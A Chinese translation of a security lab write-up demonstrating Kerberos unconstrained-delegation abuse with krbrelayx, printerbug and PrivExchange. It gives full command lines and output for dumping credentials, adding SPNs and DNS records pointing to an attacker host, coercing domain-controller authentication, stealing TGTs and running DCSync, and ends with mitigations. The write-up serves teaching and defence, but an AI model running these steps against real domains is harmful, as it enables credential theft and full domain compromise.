上一篇文章,我只讲了中继攻击的基本理论,这篇文章,我会举两个示例来及具体说明。
示例1:使用计算机帐户和SpoolService漏洞获取DC同步权限
在第一种情况下,我们将滥用我的internal.corp实验室域中的计算机帐户的无约束委派权限。通过攻击用户testuser获得了此主机的管理权限,该用户是该主机上Administrators组的成员。我们将按照上面列出的步骤,首先获取Kerberos密钥和NTLM哈希:
[email protected]:~$ secretsdump.py [email protected] Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation Password: [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0x38f3153a77837cf2c5d04b049727a771 ...cut... [*] Dumping LSA Secrets [*] $MACHINE.ACC ICORP\ICORP-W10$:aes256-cts-hmac-sha1-96:9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab ICORP\ICORP-W10$:aes128-cts-hmac-sha1-96:a6e34ed07f7bffba151fedee4d6640fd ICORP\ICORP-W10$:des-cbc-md5:91abd073c7a8e534 ICORP\ICORP-W10$:aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6:::
现在我们添加SPN,使用刚才转储的NTLM哈希作为设备帐户进行身份验证,该帐户可以修改它自己的SPN,但只能通过前面讨论过的msDS-AdditionalDnsHostName属性进行修改。我们将使用addsp .py实用程序将SPN HOST/attack .internal.corp添加到计算机帐户(用于SMB)。
[email protected]:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp -q icorp-dc.internal.corp [-] Connecting to host... [-] Binding to host [+] Bind OK [+] Found modification target DN: CN=ICORP-W10,CN=Computers,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-09T21:55:23.923810 dNSHostName: ICORP-W10.internal.corp sAMAccountName: ICORP-W10$ servicePrincipalName: RestrictedKrbHost/ICORP-W10 HOST/ICORP-W10 RestrictedKrbHost/ICORP-W10.internal.corp HOST/ICORP-W10.internal.corp [email protected]:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp [-] Connecting to host... [-] Binding to host [+] Bind OK [+] Found modification target [!] Could not modify object, the server reports a constrained violation [!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname) [!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute [email protected]:~/krbrelayx$ python addspn.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -s HOST/attacker.internal.corp icorp-dc.internal.corp --additional [-] Connecting to host... [-] Binding to host [+] Bind OK [+] Found modification target [+] SPN Modified successfully
针对attacker.internal.corp的SPN现在存在于受害者帐户中,但它的DNS条目尚不存在。我们使用dnstool.py实用程序添加记录,指向攻击者IP:
[email protected]:~/krbrelayx$ python dnstool.py -u icorp\\icorp-w10\$ -p aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 -r attacker.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully [email protected]:~/krbrelayx$ nslookup attacker.internal.corp 192.168.111.2 Server: 192.168.111.2 Address: 192.168.111.2#53 Name: attacker.internal.corp Address: 192.168.111.87
现在,我们通过打印机漏洞让域控制器对我们进行身份验证,同时在导出模式启动krbrelayx,其中所有提取的TGT都将保存到磁盘。我们为krbrelayx提供了AES256密钥,因为默认情况下该密钥将用于计算机帐户。
[email protected]:~/krbrelayx$ python printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:c1c635aa12ae60b7fe39e28456a7bac6 internal.corp/icorp-w10\[email protected] attacker.internal.corp [*] Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation [*] Attempting to trigger authentication via rprn RPC at icorp-dc.internal.corp [*] Bind OK [*] Got handle DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Triggered RPC backconnect, this may or may not have worked
不同的屏幕上的krbrelayx:
[email protected]:~/krbrelayx$ sudo python krbrelayx.py -aesKey 9ff86898afa70f5f7b9f2bf16320cb38edb2639409e1bc441ac417fac1fed5ab [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client SMB loaded.. [*] Running in export mode (all tickets will be saved to disk) [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections [*] SMBD: Received connection from 192.168.111.2 [*] Got ticket for [email protected] [[email protected]] [*] Saving ticket in [email protected][email protected] [*] SMBD: Received connection from 192.168.111.2
这为我们提供了域控制器帐户的TGT,它在域中具有DC同步权限,这意味着我们可以提取目录中所有帐户的哈希值。
[email protected]:~/krbrelayx$ export KRB5CCNAME=ICORP-DC\[email protected][email protected] [email protected]:~/krbrelayx$ secretsdump.py -k icorp-dc.internal.corp -just-dc Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:a39494027fd39934e08a713c999e8cf3::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:33168b759a89c059815d7aea5c27a3d9::: ...etc...
示例2:滥用服务帐户和PrivExchange
在第1个示例中,我们使用计算机帐户和SMB连接来获取DC的TGT。虽然上述方法是执行此攻击而不在受感染主机上执行代码的唯一方法(所有数据都是通过RPC调用获得的,并且DC仅连接到攻击者设备),但通常更容易触发SMB连接到受感染的主机,转储LSASS内存或使用Mimikatz或Rubeus从内存中提取TGT,就不需要修改DNS记录和SPN。在示例2中,我们将使用用户帐户而不是计算机帐户用作服务帐户,不过前提是要修改AD中的信息。如果用户帐户用于MSSQL服务,那么只有当我们能够以某种方式诱骗受害者连接到MSSQL服务,除此之外,还要具有对服务器的管理访问权以运行代码,才能从LSASS中提取TGT,进而内存中提取票据。通过向用户帐户添加额外的SPN,我们可以使用现有工具,如SpoolService漏洞或PrivExchange,通过HTTP或SMB即可使用此工具,而无需触及运行此服务的主机。
简而言之,就是需要做两件事:
1.服务帐户的密码;
2.委派对服务帐户对象的控制权;
服务帐户的密码以前可以使用Kerberoast或密码喷涂攻击获取,需要委派对帐户的控制才能向帐户添加SPN,而且此控件可能存在,因为服务帐户是组织单元的一部分,控制权委托给系统管理员,或者因为我们破坏了高权限组中的帐户,例如帐户操作符。
在这个示例中,我们控制了一个helpdesk用户,该用户已被委派了管理服务帐户OU中用户的权限。我们还发现服务帐户sqlserv有一个弱密码Internal01集,此服务帐户只有一个在database.internal.corp上运行的MSSQL服务的SPN。由于我们希望使用通过HTTP连接的PrivExchange通过Exchange升级权限,因此使用此帐户为http/evil.internal.corp添加新的SPN:
[email protected]:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp -q icorp-dc.internal.corp [-] Connecting to host... [-] Binding to host [+] Bind OK [+] Found modification target DN: CN=sqlserv,OU=Service Accounts,DC=internal,DC=corp - STATUS: Read - READ TIME: 2019-01-27T15:26:16.580450 sAMAccountName: sqlserv servicePrincipalName: MSSQL/database.internal.corp [email protected]:~/krbrelayx$ python addspn.py -u icorp\\helpdesk -p Welkom01 -t sqlserv -s http/evil.internal.corp icorp-dc.internal.corp [-] Connecting to host... [-] Binding to host [+] Bind OK [+] Found modification target [+] SPN Modified successfully
与之前的攻击一样,我们添加了一个DNS记录以指向我们的攻击者IP:
[email protected]:~/krbrelayx$ python dnstool.py -u icorp\\helpdesk -p Welkom01 -r evil.internal.corp -d 192.168.111.87 --action add icorp-dc.internal.corp [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
现在可以启动krbrelayx.py了,由于我们正在使用用户帐户,默认情况下票据将使用RC4加密,因此我们需要计算密码的NTLM哈希值以便解密它们。我们不需要在此示例中使用Kerberos盐值,因为RC4不需要。
import hashlibprint(hashlib.new('md4', 'Internal01'.encode('utf-16le')).hexdigest())
我们可以将这个哈希传递给krbrelayx.py并启动服务器。这一次,我们没有导出票据,而是直接使用它连接到LDAP,并使用-t LDAP://icorp-dc.internal.corp标志授予 helpdesk 用户DCSync权限。我们同时运行privexchange.py和krbrelayx.py:
[email protected]:~/privexchange$ python privexchange.py -u helpdesk -p Welkom01 -ah evil.internal.corp exchange.internal.corp -d internal.corp INFO: Using attacker URL: http://evil.internal.corp/privexchange/ INFO: Exchange returned HTTP status 200 - authentication was OK INFO: API call was successful
可以看到攻击方式与ntlmrelayx非常相似:
[email protected]:~/krbrelayx$ sudo python krbrelayx.py -hashes aad3b435b51404eeaad3b435b51404ee:d3026ba6ef6215da295175934b3d0e09 -t ldap://icorp-dc.internal.corp --escalate-user helpdesk [*] Protocol Client LDAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client SMB loaded.. [*] Running in attack mode to single host [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections [*] HTTPD: Received connection from 192.168.111.56, prompting for authentication [*] HTTPD: Client requested path: /privexchange/ [*] HTTPD: Received connection from 192.168.111.56, prompting for authentication [*] HTTPD: Client requested path: /privexchange/ [*] Got ticket for [email protected] [[email protected]] [*] Saving ticket in [email protected][email protected] [*] Enumerating relayed user's privileges. This may take a while on large domains [*] User privileges found: Create user [*] User privileges found: Modifying domain ACL [*] Querying domain security descriptor [*] Success! User helpdesk now has Replication-Get-Changes-All privileges on the domain [*] Try using DCSync with secretsdump.py and this user 🙂 [*] Saved restore state to aclpwn-20190210-132437.restore
对于攻击者而言,这样做的好处是,它使用Kerberos功能而不是NTLM中继,因此不适用针对NTLM中继的缓解(但是它确实需要更高的权限才能执行)。我们也可以避免手工计算Kerberos哈希,并在命令行中使用正确的salt值指定这些哈希,这使得krbrelayx可以自己计算出所有密钥:
python krbrelayx.py --krbpass Internal01 --krbsalt INTERNAL.CORPsqlserv -t ldap://icorp-dc.internal.corp --escalate-user helpdesk
无约束的委派进程
如上所述,我们花费了大量篇幅介绍了如何滥用无约束的委派,但到现在,我们还没有介绍滥用无约束委派的攻击进程。让我们看一下Windows 10客户端如何使用Kerberos进行无约束的委派。有一些文章提到,每当Windows 10客户端向具有无约束委派的主机请求服务票据时,该票据就会自动包含一个TGT的委派版本。但实际情况并非如此,让我们看看当主机对攻击者服务进行身份验证时,会发生些什么?
当我们的用户(testuser)在工作站上登录时,从DC请求TGT(本例中是KDC)。这通过两个AS-REQ可见,第一个AS-REQ不包括任何信息,第二个AS-REQ包括预认证信息。
在对第一个AS-REQ的响应中,我们看到服务器响应了在密码导出AES密钥时应该使用的正确盐:
现在,我们让客户端连接到使用krbrelayx托管的恶意SMB服务器。在通信过程中,我们看到两个服务票据请求(TGS-REQ),以及在一些执行Kerberos身份验证的SMB通信。
让我们仔细看看这些TGS请求,正如预期的那样,需要为之前添加到帐户中的cifs/attacker.internal.corp SPN请求一个服务票据。
第二个服务票据则很有趣,这一次,服务器请求的服务票据不是它正在连接的服务,而是为krbtgt/internal.corp SPN。这类似于AS-REQ请求,它也使用了这个SPN,但是现在它在使用带有身份验证程序的TGT的TGS-REQ结构中使用。第二个有趣的部分是标志,特别是forwarded标志,此标志可用于请求可用于委派的TGT。
Windows如何知道是否应该请求forwarded TGT并在验证时将其发送到攻击者的服务器?这是因为加密的票据部分有一个“flags”字段,其中指定了票据选项。RFC4120定义了一个OK-AS-DELEGATE标志,该标志指定目标服务器受信任以进行无约束委派。从impacket对getST.py进行的一些更改向我们显示这个标志确实设置了,但是更容易在Windows中用klist列出票据:
此命令还向我们显示发送给攻击者的forwarded TGT:
从攻击者的角度来看
从攻击者的角度来看,我们已经设置了krbrelayx,它正在监听端口445和80来接受SMB和HTTP连接。当受害者与我们(上面给出了触发该操作的示例)的服务器连接时,如果我们请求,他们将使用Kerberos进行身份验证。与需要来回多次消息的NTLM身份验证不同,客户端将在进行身份验证时直接发送其Kerberos票据。在SMB和HTTP中,GSS-API和SPNEGO协议都用于封装Kerberos身份验证。
设计这些协议的人认为,不仅要使用ASN.1(ASN.1是一种 ISO/ITU-T 标准,描述了一种对数据进行表示、编码、传输和解码的数据格式),而且要将ASN.1与一个结构中的一些自定义二进制常量混合(并让该结构的一部分依赖于常量)是一个好主意。这使得它在任何标准ASN.1库中都无法使用。幸运的是,我确实找到了一些方法来解决这个问题,这对于编写自己的ASN.1解析器确实很有帮助。
一旦解析了该结构,我们就可以看到包含Kerberos票据和验证者的AP_REQ消息。这些在Kerberos身份验证中都很重要:
1.票据是用服务的密码加密的,它包含标识身份验证用户的信息,以及加密的会话密钥。此票据还用于委派,因为它包含一个PAC,其中包含用户所属的组。
2.身份验证程序是使用会话密钥加密的结构,它证明客户端拥有此密钥,并用于对客户端进行身份验证。
当你在Wireshark中看到这些时,很容易注意到常规Kerberos AP_REQ数据包与同时发送TGT的数据包(无约束委派)之间的区别。一个常规的AP_REQ包将包含一个加密的票据,这是AP_REQ结构中最大的子结构。在我的测试域中,票据是1180字节。如果使用无约束委派,AP_REQ中最大的子结构是authenticator(身份验证程序),它包含用户委托的TGT。在我的域中,这是1832字节。不包含TGT的身份验证程序通常要小得多,大约400字节。
使用前面计算的Kerberos密钥,我们解密票据,并得到了如下结构:
EncTicketPart: flags=1084555264 key=EncryptionKey: keytype=23 keyvalue=0xbd88d929fc420e8b840f3e4bcd9346b6 crealm=INTERNAL.CORP cname=PrincipalName: name-type=1 name-string=SequenceOf: testuser transited=TransitedEncoding: tr-type=1 contents= authtime=20190216190927Z starttime=20190216190927Z endtime=20190217050927Z renew-till=20190223190927Z authorization-data=AuthorizationData: Sequence: ad-type=1 ad-data=0x308202e230...e8bd0fb67130 Sequence: ad-type=1 ad-data=0x305d303fa0...6517b0000000000
其中包含票据有效性、票据的用户名、一些授权数据(包括用户PAC)和一个加密密钥。这个加密密钥是会话密钥,我们可以用它解密AP_REQ的身份验证程序:
Authenticator: authenticator-vno=5 crealm=INTERNAL.CORP cname=PrincipalName: name-type=1 name-string=SequenceOf: testuser cksum=Checksum: cksumtype=32771 checksum=0x100000000...a3997 cusec=84 ctime=20190216192428Z subkey=EncryptionKey: keytype=23 keyvalue=0x2b340c020be62cbd6284fd2977c5e303 seq-number=1035294623 authorization-data=AuthorizationData: Sequence: ad-type=1 ad-data=0x3081...005000
此时,我们再次看到经过身份验证的用户、另一个加密密钥(子密钥)、更多的授权数据和校验和。校验和是个有趣的部分,如果它的值等于32771(或0x8003),这意味着它是一个KRBv5校验和,这是RFC4121第4.1.1节中定义的特殊结构,显然RFC的作者也厌倦了ASN.1,引入了另一个自定义传输二进制数据的格式。
在这个checksum字段中(如果设置了正确的标志),我们可以找到一个KRB_CRED结构(回到ASN.1!),其中包含了委派的TGT。
KRB_CRED: pvno=5 msg-type=22 tickets=SequenceOf: Ticket: tkt-vno=5 realm=INTERNAL.CORP sname=PrincipalName: name-type=2 name-string=SequenceOf: krbtgt INTERNAL.CORP enc-part=EncryptedData: etype=18 kvno=2 cipher=0xe70d38ec...c2ec0e enc-part=EncryptedData: etype=23 cipher=0xdea2c107a...850ba2a285
另外,还需要一个步骤将我们与TGT分隔开来,而TGT则正在解密enc-part。KRB_CRED结构的这个加密部分包含票据信息,包括与委派的TGT相关联的会话密钥,我们需要它在DC请求服务票据。解密后,票据将以ccache格式(由impacket使用)或以kirbi格式(这是Mimikatz用于KRB_CRED结构化文件的名称)保存到磁盘。现在,其他工具可以使用委派的TGT对域中的任何系统进行身份验证。
如果这还不够详细,本节描述的所有步骤都在krbrelayx的kerberos.py文件中进行了概述。如果在不同阶段取消print语句的注释,则可以查看整个结构。
缓解措施和无约束委派的检测
最直接的缓解方法是尽可能避免使用无约束的委派,受约束的委派要安全得多,尽管它也可能被滥用,但受约束的委派只允许对显式指定的服务进行身份验证,从而可以对单个服务进行风险分析。而无约束委派则取决于连接到服务的用户,然后将其凭据公开。如果无法避免运行具有无约束的委派权限的帐户,则可以应用以下缓解措施:
1.请确保将具有这些权限的系统作为敏感资产加以保护,可能会出现域攻击;
2.通过启用“帐户敏感且不能委派”选项来保护敏感帐户;
3.将管理帐户放置在“受保护的用户”组中,这将防止它们的凭证被委派;
4.确保管理帐户在启用了凭据保护的最新工作站中执行操作,这将防止凭据委派。
而关于无约束委派的检测,请参考此文,该文章会教你如何检测无约束委派的滥用。
另外,本文所讲的相关工具可以在我的GitHub上找到。